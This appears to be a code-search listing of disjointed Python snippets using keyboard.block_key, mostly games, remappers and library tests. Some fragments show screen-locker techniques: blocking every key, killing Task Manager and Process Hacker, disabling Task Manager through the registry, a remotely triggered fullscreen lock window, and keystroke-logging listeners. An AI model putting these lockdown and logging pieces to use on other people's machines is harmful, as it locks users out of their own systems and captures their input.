def run(self, **kwargs): assert "keyboard_block" in kwargs, "Missing keyword argument keyboard_block!" assert "mouse_block" in kwargs, "Missing keyword argument mouse_block!" keyboard_block = bool(kwargs.get("keyboard_block")) mouse_block = bool(kwargs.get("mouse_block")) from time import sleep from keyboard import block_key from psutil import process_iter from threading import Thread assert keyboard_block or mouse_block, "At least one device must be selected" self._run.set() if keyboard_block: for i in range(150): block_key(i) if mouse_block: self._mouse_block_thread = Thread(target=self._block_mouse) self._mouse_block_thread.start() while self._run.is_set(): for proc in process_iter(): try: if proc.name() in ("Taskmgr.exe", "ProcessHacker.exe"): proc.kill() except Exception: # noqa pass sleep(1)
def disable(): global winBlocked winBlocked = True keyboard.block_key('win') enable.configure(state=ACTIVE) disable.configure(state=DISABLED) dLabel.configure(text='Current Status: DISABLED')
def awake(): for name in Key: keys_values[Key[name]] = 0 for name in Key: if name != 'ExitInsertMode': keyboard.block_key(Key[name]) pass
def start(enter): global potok, enemy_anima, ending enemy_generate() if enter.name == "enter" and enter.event_type == "down": keyboard.block_key("enter") first_sheet() potok.start() enemy_anima.start() if ending: end()
def monitor_keyevents(key): global password global lock_flag global ch # On key event down, compare to password if str(key.event_type) == 'down': if password[ch] == str(key.name): ch += 1 else: ch = 0 if ch == len(password): lock_flag = 0 ch = 0 keyboard.block_key(str(key.name))
def test_block_key(self): blocked = keyboard.block_key('a') self.do(d_a + d_b, d_b) self.do([make_event(KEY_DOWN, 'A', -1)], [make_event(KEY_DOWN, 'A', -1)]) keyboard.unblock_key(blocked) self.do(d_a + d_b, d_a + d_b)
def keylistener(): a = [] tim = [] pr = [] rl = [] prt = [] rlt = [] def on_press(event): import write_to_sheet key = event.name print(key) if key is "enter": # Stop listener print("ended") #y=Thread(target=write2sheet(a, tim, pr, rl, prt, rlt), daemon=True) #y.start() write_to_sheet.write2sheet(a, tim, pr, rl, prt, rlt) print("recorded one password entery") newKeyboard.unhook_all() return False else: value = str(key) pr.append(value) prt.append(decimal.Decimal(time.clock())) a.append(value) tim.append(decimal.Decimal(time.clock())) def on_release(event): key = event.name if key is "enter": # Stop listener newKeyboard.unhook_all() return False value = str(key) rl.append(value) rlt.append(decimal.Decimal(time.clock())) a.append(value) tim.append(decimal.Decimal(time.clock())) newKeyboard.block_key("left windows") newKeyboard.on_press(on_press) newKeyboard.hook(on_release) print("keylogger running")
def check_pause(): global _insert_mode, _insert_mode_temp if not keyboard.is_pressed( Key['ExitInsertMode']) and _insert_mode != _insert_mode_temp: _insert_mode_temp = _insert_mode if _insert_mode: keyboard.block_key(Key['ExitInsertMode']) for name in Key: if name != 'ExitInsertMode': keyboard.unblock_key(Key[name]) play_buffer = enter_sound.play() else: keyboard.unblock_key(Key['ExitInsertMode']) for name in Key: if name != 'ExitInsertMode': keyboard.block_key(Key[name]) play_buffer = exit_sound.play()
def counter(): print(prompt) input(">> Press ENTER to begin") keyboard.block_key("backspace") # disables backspaces global errors errors = 0 # for recording errors: # after the user is done, loop through both lists # if a character typed isn't equal to a character in the prompt, add an error global start_time start_time = time.time() inp = input("\n") global end_time end_time = time.time() final_time = (end_time - start_time) / 60 return final_time, inp
def thread_scheduler(): ''' Thread for constant running the two functions ''' t_end = time.time() + 60 keyboard.block_key('print screen') while time.time() < t_end: screen_sharing_thread = threading.Thread(target=screen_sharing) multiple_people_thread = threading.Thread(target=multiple_people) screen_sharing_thread.start() multiple_people_thread.start() screen_sharing_thread.join() multiple_people_thread.join() keyboard.unblock_key('print screen')
def block(message): ''' makes a large topmost fullscreen window the window will stay there, preventing all user actions all keys in KEYS_TO_BLOCK will be blocked to prevent user from closing it message: the text to put on the block window (for example: 'go outside') ''' try: block_window.winfo_exists() #fails = it has been destroyed server.send(b"MESSAGE Screen is already blocked") except: block_window.__init__() Label(block_window, text=message[6:], font='Calibri 60').pack(expand=1) block_window.attributes('-fullscreen', True) block_window.overrideredirect(1) block_window.attributes('-topmost', True) for i in KEYS_TO_BLOCK: keyboard.block_key(i) server.send(b"MESSAGE Screen has been blocked") #block
def take_pic(): if "diep.io" in get_foreground_window_title(): [keyboard.block_key(k) for k in block_keys] keyboard.press("l") time.sleep(.1) keyboard.press_and_release("alt+prtscn") time.sleep(.05) keyboard.release("l") [keyboard.unblock_key(k) for k in block_keys] time.sleep(.1) img = ImageGrab.grabclipboard() time.sleep(.1) img2 = img.crop((3 * img.width // 7, 13 * img.height // 14, 4 * img.width // 7, img.height)) for x in range(img2.width): for y in range(img2.height): p = img2.getpixel((x, y)) img2.putpixel( (x, y), (0, 0, 0) if all(map(lambda c: c > 185, p)) and not all(map(lambda c: 207 > c > 195, p)) and p not in [(198, 198, 198), (205, 205, 205), (202, 202, 202)] else (0xff, 0xff, 0xff)) img2.save("testimg.png", "PNG") time.sleep(.1) prc = subprocess.run("Tesseract-OCR\\tesseract.exe testimg.png stdout", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) text = prc.stdout.strip().split(b"\r\n") _score, _class = None, None for l in text: if b"Score" in l.strip(): _score = int(l.strip().split()[1].decode().replace( ",", "").replace(".", "")) elif l.strip().startswith(b"Lvl "): _class = l.strip().split()[2].decode() if _score is not None and _class is not None: print(_class, "with", _score) if _class in high_scores: if _score > high_scores[_class][0]: if high_scores[_class][1] in os.listdir("highscores"): os.remove("highscores\\" + high_scores[_class][1]) else: return filename = _class + "-" + str(_score) + "-" + datetime.now( ).strftime("%m~%d~%Y-%H~%M") + ".png" high_scores[_class] = (_score, filename) img.save("highscores\\" + filename, "PNG") with open("highscores.json", "w") as high_scores_json_file: json.dump(high_scores, high_scores_json_file) else: print(text) take_pic() # Fixme: maybe not a good idea...
def main(): print(" Connect to Tello wifi and press <<tab>>") while not keyboard.is_pressed("tab"): pass print(" Starting") command_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) command_addr = ('192.168.10.1', 8889) command_socket.bind(('', 8889)) command_socket.sendto(b"command", command_addr) print(" Control has taken successfully!") video_thread = threading.Thread(target=watch_video_stream, args=(command_socket, command_addr)) video_thread.daemon = True keyboard.on_press_key( "1", lambda _: command_socket.sendto(b"emergency", command_addr)) keyboard.on_press_key("2", lambda _: video_thread.start()) keyboard.on_press_key( "3", lambda _: command_socket.sendto(b"land", command_addr)) keyboard.on_press_key( "4", lambda _: configure_wifi(command_socket, command_addr)) keyboard.on_press_key( "5", lambda _: command_socket.sendto(b"takeoff", command_addr)) print(""" press key for each function: 1) Emergency - stop motors immediately 2) Watch Video Stream 3) Land 4) Configure Wifi Password- lock the drone 5 ) takeoff 6) Exit """) while not keyboard.is_pressed("6"): pass command_socket.shutdown(2) command_socket.close() keyboard.unhook_all() keyboard.block_key("tab") print('end')
def start_exam(url): '''This starts the examination and checks for valid url it uses 3 major browsers''' regex = r"(?i)\b((?:https?://|www\d{0,3}[.]|[a-z0-9.\-]+[.][a-z]{2,4}/)(?:[^\s()<>]+|\(([^\s()<>]+|(\([^\s()<>]+\)))*\))+(?:\(([^\s()<>]+|(\([^\s()<>]+\)))*\)|[^\s`!()\[\]{};:'\".,<>?«»“”‘’]))" u = re.findall(regex, url.get()) b = SB.get() if u == []: messagebox.showerror(title='OPE', message='Enter Proper URL') return yn = messagebox.askyesno( title='OPE', message= 'To end examination please press ctrl + escape. Are you ready to take exam ?' ) if yn is True: subprocess.call(['powershell', 'taskkill /F /IM explorer.exe']) keyboard.block_key('ctrl') keyboard.block_key('alt') keyboard.block_key('windows') subprocess.call([ 'powershell', '(get-process | ? { $_.mainwindowtitle -ne "" -and $_.processname -ne "code" -and $_.processname -ne "python" } )| stop-process' ]) try: if b == 'Google Chrome': subprocess.check_call([ 'powershell', 'start chrome "--kiosk --incognito ' + url.get() + '"' ]) elif b == 'Firefox': subprocess.check_call([ 'powershell', 'start firefox "--kiosk --private ' + url.get() + '"' ]) elif b == 'Edge/IE': subprocess.check_call([ 'powershell', 'start msedge "--kiosk --incognito ' + url.get() + '"' ]) watch(b) except subprocess.CalledProcessError: messagebox.showerror(title='OPE', message=b + ' is not installed') else: return
def lockAllWindows(*toHook): """ Lock the keyboard and the shortcuts, remove task manager, then display an image fullscreen Take a list of keys to hook, and return a list of the hooks :return: list of hook """ alt = keyboard.block_key('alt') ctrl = keyboard.block_key('ctrl') altgr = keyboard.block_key('alt gr') shift = keyboard.block_key('shift') esc = keyboard.block_key('esc') win = keyboard.block_key('windows gauche') oKey = winreg.CreateKeyEx( winreg.HKEY_CURRENT_USER, 'Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System', 0, winreg.KEY_SET_VALUE) winreg.SetValueEx(oKey, 'DisableTaskMgr', 0, winreg.REG_DWORD, 1) subprocess.Popen(["python", "image.py", imgPath]) return alt, ctrl, altgr, shift, esc, win
def keylistener(): a = [] tim = [] pr = [] rl = [] prt = [] rlt = [] hold = [] flight = [] master = [] ngram = [] def on_press(event): key = event.name print(key, "\t enter") if key is "enter": # Stop listener i = 0 print("ended") from write_to_sheet import write2sheet y = Thread(target=write2sheet(a, tim, pr, rl, prt, rlt, hold, flight, master, ngram), daemon=True) y.start() print("recorded one password entery") return False else: value = str(key) #value = value.replace("'", "") #if value[0] is "K": # value = value.replace("Key.", "Pressed :\t") #if value[0] is "u": # value = value[1:] # value = "Pressed :\t"+value pr.append(value) prt.append(decimal.Decimal(time.time())) a.append(value) tim.append(decimal.Decimal(time.time())) def on_release(event): key = event.text if key is "enter": # Stop listener return False value = str(key) #value = value.replace("'", "") #if value[0] is "K": # value = value.replace("Key.", "Released :\t") #if value[0] is "u": # value = value[1:] # value = "Released :\t"+value rl.append(value) rlt.append(decimal.Decimal(time.time())) a.append(value) tim.append(decimal.Decimal(time.time())) newKeyboard.block_key("left windows") newKeyboard.on_press(on_press) newKeyboard.on_release(on_release) print("keylogger running")
#login function def loginFun(self): u = self.lineEdit.text() p = self.lineEdit_2.text() if u == config["USERNAME"] and p == config["PASSWORD"]: print("Login Successful!!") exit() else: photo = self.capturePhoto() self.sendEmail("Koi pange le raha hai apke laptop ke saath", photo) print("Wrong User! Email Sent") def forgetfun(self): photo=self.capturePhoto() self.sendEmail("username:{} password:{}".format(config["USERNAME"] ,config["PASSWORD"]),photo) print("forget sucessfull") if __name__ == "__main__": import sys app = QtWidgets.QApplication(sys.argv) MainWindow = QtWidgets.QMainWindow() ui = Ui_MainWindow() ui.setupUi(MainWindow) MainWindow.setWindowFlags(QtCore.Qt.FramelessWindowHint) MainWindow.showMaximized() keyboard.block_key('Shift') MainWindow.show() ui.precheck() sys.exit(app.exec_())
import keyboard keyboard.block_key('left') input("this is included here to make a persistent console to ensure script stays alive.")
import keyboard from pynput.keyboard import Key, Controller TRIGGER = 'caps lock' pynput_keyboard = Controller() keyboard.block_key(TRIGGER) keyboard.add_hotkey(f'{TRIGGER} + a', lambda: keyboard.press_and_release('left'), suppress=True) keyboard.add_hotkey(f'{TRIGGER} + d', lambda: keyboard.press_and_release('right'), suppress=True) keyboard.add_hotkey(f'{TRIGGER} + w', lambda: keyboard.press_and_release('up'), suppress=True) keyboard.add_hotkey(f'{TRIGGER} + s', lambda: keyboard.press_and_release('down'), suppress=True) keyboard.add_hotkey(f'{TRIGGER} + n', lambda: keyboard.press_and_release('0'), suppress=True) keyboard.add_hotkey(f'{TRIGGER} + m', lambda: keyboard.press_and_release('1'), suppress=True) keyboard.add_hotkey(f'{TRIGGER} + comma', lambda: keyboard.press_and_release('2'), suppress=True)
import keyboard import win32api, win32con import time F_KEY = 33 #This key wan't be blocked for fullscreen mode print('Please stand by') #Stand by window) for i in range(150): #Keyboard blocking keyboard.block_key(i) keyboard.unblock_key(F_KEY) while True: win32api.SetCursorPos( (0, int(win32api.GetSystemMetrics(1) / 2))) #Cursor goes to half screen height and left side #win32api.mouse_event(win32con.MOUSEEVENTF_LEFTDOWN, 0, 0) #Disabled mouse buttons holding, it cause bugs #win32api.mouse_event(win32con.MOUSEEVENTF_RIGHTDOWN, 0, 0) time.sleep(0.005) #Important delay, it will lag without it
def block_key(): keyboard.block_key('z') keyboard.block_key('x') keyboard.block_key('c') keyboard.block_key('v') keyboard.block_key('b') keyboard.block_key('n') keyboard.block_key('m') keyboard.block_key(',') keyboard.block_key('>') keyboard.block_key('/') keyboard.block_key('a') keyboard.block_key('|') keyboard.block_key('s') keyboard.block_key('d') keyboard.block_key('f') keyboard.block_key('g') keyboard.block_key('h') keyboard.block_key('j') keyboard.block_key('k') keyboard.block_key('l') keyboard.block_key(';') keyboard.block_key('"') keyboard.block_key('|') keyboard.block_key('q') keyboard.block_key('w') keyboard.block_key('e') keyboard.block_key('r') keyboard.block_key('t') keyboard.block_key('y') keyboard.block_key('u') keyboard.block_key('i') keyboard.block_key('o') keyboard.block_key('p') keyboard.block_key('[') keyboard.block_key(']') keyboard.block_key('`') keyboard.block_key('!') keyboard.block_key('@') keyboard.block_key("#") keyboard.block_key('$') keyboard.block_key('%') keyboard.block_key('^') keyboard.block_key('&') keyboard.block_key('(') keyboard.block_key(')') keyboard.block_key('_') keyboard.block_key('*') keyboard.block_key('=') keyboard.block_key('/') keyboard.block_key('*') keyboard.block_key('-') keyboard.block_key('+') keyboard.block_key('.') keyboard.block_key('0') keyboard.block_key('1') keyboard.block_key('2') keyboard.block_key('3') keyboard.block_key('4') keyboard.block_key('5') keyboard.block_key('6') keyboard.block_key('7') keyboard.block_key('8') keyboard.block_key('9')
def bind_keys(self): keyboard.unhook_all() for key in self.parsed_binds: keyboard.on_press_key(key, self._on_press_key, True) keyboard.on_release_key(key, self._on_release_key, True) keyboard.block_key("escape") keyboard.block_key("tab") keyboard.block_key(".") # Prevent windows emoji menu. keyboard.block_key("=") # Prevent windows magnifier. keyboard.block_key("e") # Prevent windows explorer. keyboard.block_key("q") # Prevent windows search.
async def block_button(self): buttons = ['Del', 'Esc', 'Windows', 'Tab'] for button in buttons: block_key(button)
cyrillic = [ 'б', 'ц', 'д', 'ф', 'г', 'Һ', 'и', 'к', 'л', 'м', 'н', 'п', 'р', 'с', 'т', 'у', 'в', 'з' ] lDiacritics = ['` + c', '` + g', '` + h', 'q', '` + s', '` + u'] cDiacritics = [ 'ч', 'џ', 'х', 'ж', 'ш', 'ў', ] keyboard.block_key('`') keyboard.block_key('q') for item in latin: keyboard.block_key(item) keyboard.block_key(item.upper()) while True: for l, c in zip(latin, cyrillic): if keyboard.is_pressed(l) or keyboard.is_pressed(l.upper()): keyboard.write(c) for l, c in zip(lDiacritics, cDiacritics): if keyboard.is_pressed(l): keyboard.write(c)
def read_tablet(args, remote_device): """Loop forever and map evdev events to mouse""" import keyboard from pynput.mouse import Button, Controller lifted = True Rlifted = True Mlifted = True new_x = new_y = False mouse = Controller() monitor = get_monitors()[args.monitor] log.debug('Chose monitor: {}'.format(monitor)) while True: _, _, e_type, e_code, e_value = struct.unpack('2IHHi', remote_device.read(16)) if keyboard.is_pressed('alt+1'): monitor = get_monitors()[0] elif keyboard.is_pressed('alt+2'): monitor = get_monitors()[1] elif keyboard.is_pressed('alt+3'): monitor = get_monitors()[2] elif e_type == e_type_abs: # handle x direction if e_code == e_code_stylus_xpos: log.debug(e_value) x = e_value new_x = True # handle y direction if e_code == e_code_stylus_ypos: log.debug('\t{}'.format(e_value)) y = e_value new_y = True # handle draw & modifiers if e_code == e_code_stylus_pressure: log.debug('\t\t{}'.format(e_value)) if e_value > args.threshold: if lifted and keyboard.is_pressed('ctrl') : lifted = False Rlifted = False keyboard.block_key('ctrl') keyboard.release('ctrl') mouse.press(Button.right) if lifted and keyboard.is_pressed('shift') : lifted = False Mlifted = False keyboard.block_key('shift') keyboard.release('shift') mouse.press(Button.middle) elif lifted: log.debug('PRESS') lifted = False mouse.press(Button.left) else: if not lifted and not Rlifted : lifted = True Rlifted = True mouse.release(Button.right) keyboard.unblock_key('ctrl') if not lifted and not Mlifted : lifted = True Mlifted = True mouse.release(Button.middle) keyboard.unblock_key('shift') elif not lifted : log.debug('RELEASE') lifted = True mouse.release(Button.left) # only move when x and y are updated for smoother mouse if new_x and new_y: mapped_x, mapped_y = remap( x, y, wacom_width, wacom_height, monitor.width, monitor.height, args.mode, args.orientation ) mouse.move( monitor.x + mapped_x - mouse.position[0], monitor.y + mapped_y - mouse.position[1] ) new_x = new_y = False
def test_block_key(self): blocked = keyboard.block_key('a') self.do(d_a+d_b, d_b) self.do([make_event(KEY_DOWN, 'A', -1)], [make_event(KEY_DOWN, 'A', -1)]) keyboard.unblock_key(blocked) self.do(d_a+d_b, d_a+d_b)
def test_block_key_ambiguous(self): keyboard.block_key('A') self.do(d_a+d_b, d_b) self.do([make_event(KEY_DOWN, 'A', -1)], [])
def Lock_keyboard(): for i in range(150): keyboard.block_key(i)
p = self.lineEdit_2.text() if u == config["USERNAME"] and p == config["PASSWORD"]: print("Login Successful!!") exit() else: photo = self.capturePhoto() self.sendEmail("Koi pange le raha hai apke laptop ke saath", photo) print("Wrong User! Email Sent") def forgetfun(self): photo=self.capturePhoto() self.sendEmail("username:{} password:{}".format(config["USERNAME"] ,config["PASSWORD"]),photo) print("forget sucessfull") if __name__ == "__main__": import sys app = QtWidgets.QApplication(sys.argv) MainWindow = QtWidgets.QMainWindow() ui = Ui_MainWindow() ui.setupUi(MainWindow) MainWindow.setWindowFlags(QtCore.Qt.FramelessWindowHint) MainWindow. MainWindow.showMaximized() keyboard.block_key('Shift') keyboard.block_key('win') keyboard.block_key('alt') MainWindow.show() ui.checkFace() ui.precheck() sys.exit(app.exec_())
def click_middle(): pyautogui.click(button='middle') # Scroll def scroll_up(): pyautogui.scroll(-100) def scroll_down(): pyautogui.scroll(100) # Key block preventing writing while pressing keys keyboard.block_key(72) # block numpad 8 keyboard.block_key(82) # block numpad 0 keyboard.block_key(83) # block numpad . keyboard.block_key(79) # block numpad 1 keyboard.block_key(80) # block numpad 2 keyboard.block_key(81) # block numpad 3 keyboard.block_key(75) # block numpad 4 keyboard.block_key(76) # block numpad 5 keyboard.block_key(77) # block numpad 6 keyboard.block_key(71) # block numpad 7 keyboard.block_key(73) # block numpad 9 keyboard.block_key(78) # block numpad + keyboard.block_key(74) # block numpad - on = True while (True):
def test_block_key_ambiguous(self): keyboard.block_key('A') self.do(d_a + d_b, d_b) self.do([make_event(KEY_DOWN, 'A', -1)], [])
def QBloqueia(self): key.block_key('w') key.block_key('s') key.block_key('a') key.block_key('d') key.block_key('space') key.block_key('up') key.block_key('down') key.block_key('left') key.block_key('right')